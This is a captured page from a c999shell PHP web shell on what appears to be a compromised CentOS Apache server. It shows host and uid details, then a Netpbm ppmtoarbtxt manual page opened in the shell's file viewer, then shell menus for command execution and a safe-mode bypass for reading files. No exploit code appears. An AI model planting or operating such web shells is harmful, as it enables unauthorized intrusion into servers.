Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/doc/netpbm-10.35.58/userguide/ drwxr-xr-x |
Viewing file: ppmtoarbtxt.html (5.09 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | ppmtoarbtxtUpdated: 27 April 2003 Table Of Contents NAMEppmtoarbtxt - generate image in arbitrary text format from PPM imageSYNOPSISppmtoarbtxt bodyskl [-hd headskl] [-tl tailskl] [ppmfile]DESCRIPTIONThis program is part of Netpbm. ppmtoarbtxt generates simple text-based graphics formats based on format descriptions given as input. A text-based graphics format is one in which an image is represented by text (like PNM plain format, but unlike PNM raw format). ppmtoarbtxt reads a PPM image as input. For each pixel in the image, ppmtoarbtxt writes the contents of the skeleton file bodyskl, with certain substitutions based on the value of the pixel, to stdout. The substitutions are as follows:
If the skeleton file ends with a LF-character, ppmtoarbtxt ignores it -- it does not include it in the output. OPTIONS
EXAMPLESgray inversionHere we generate a PGM plain-format image with gray inversion (like ppmtopgm | pnminvert). Contents of our head skeleton file: P2 #(width) #(height) 255 Contents of our body skeleton file: #(ilum %d 255 0) povray fileHere we generate a povray file where each pixel is represented by a sphere at location (x,y,z) = (posx,height-posy,luminance). The color of the sphere is the color of the pixel. Contents of our head skeleton: #include "colors.inc" #include "textures.inc" camera { location <#(width) * 0.6, #(height) * 0.7, 80> look_at <#(width) * 0.5, #(height) * 0.5, 0> } light_source { <#(width) * 0.5, #(height) * 0.5, 25> color White } Contents of our body skeleton: sphere { <#(posx),#(height)-#(posy),#(ilum %d 0 10)>, 0.5 texture { pigment { color rgb <#(fred),#(fgreen),#(fblue)> } finish { phong 1 } } } SEE ALSOpnmtoplainpnm ppmHISTORYppmtoarbtxt was added to Netpbm in Release 10.14 (March 2003). It existed under the name ppmtotxt since 1995. AUTHORCopyright (C) 1995 by Peter KirchgessnerTable Of Contents |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0121 ]-- |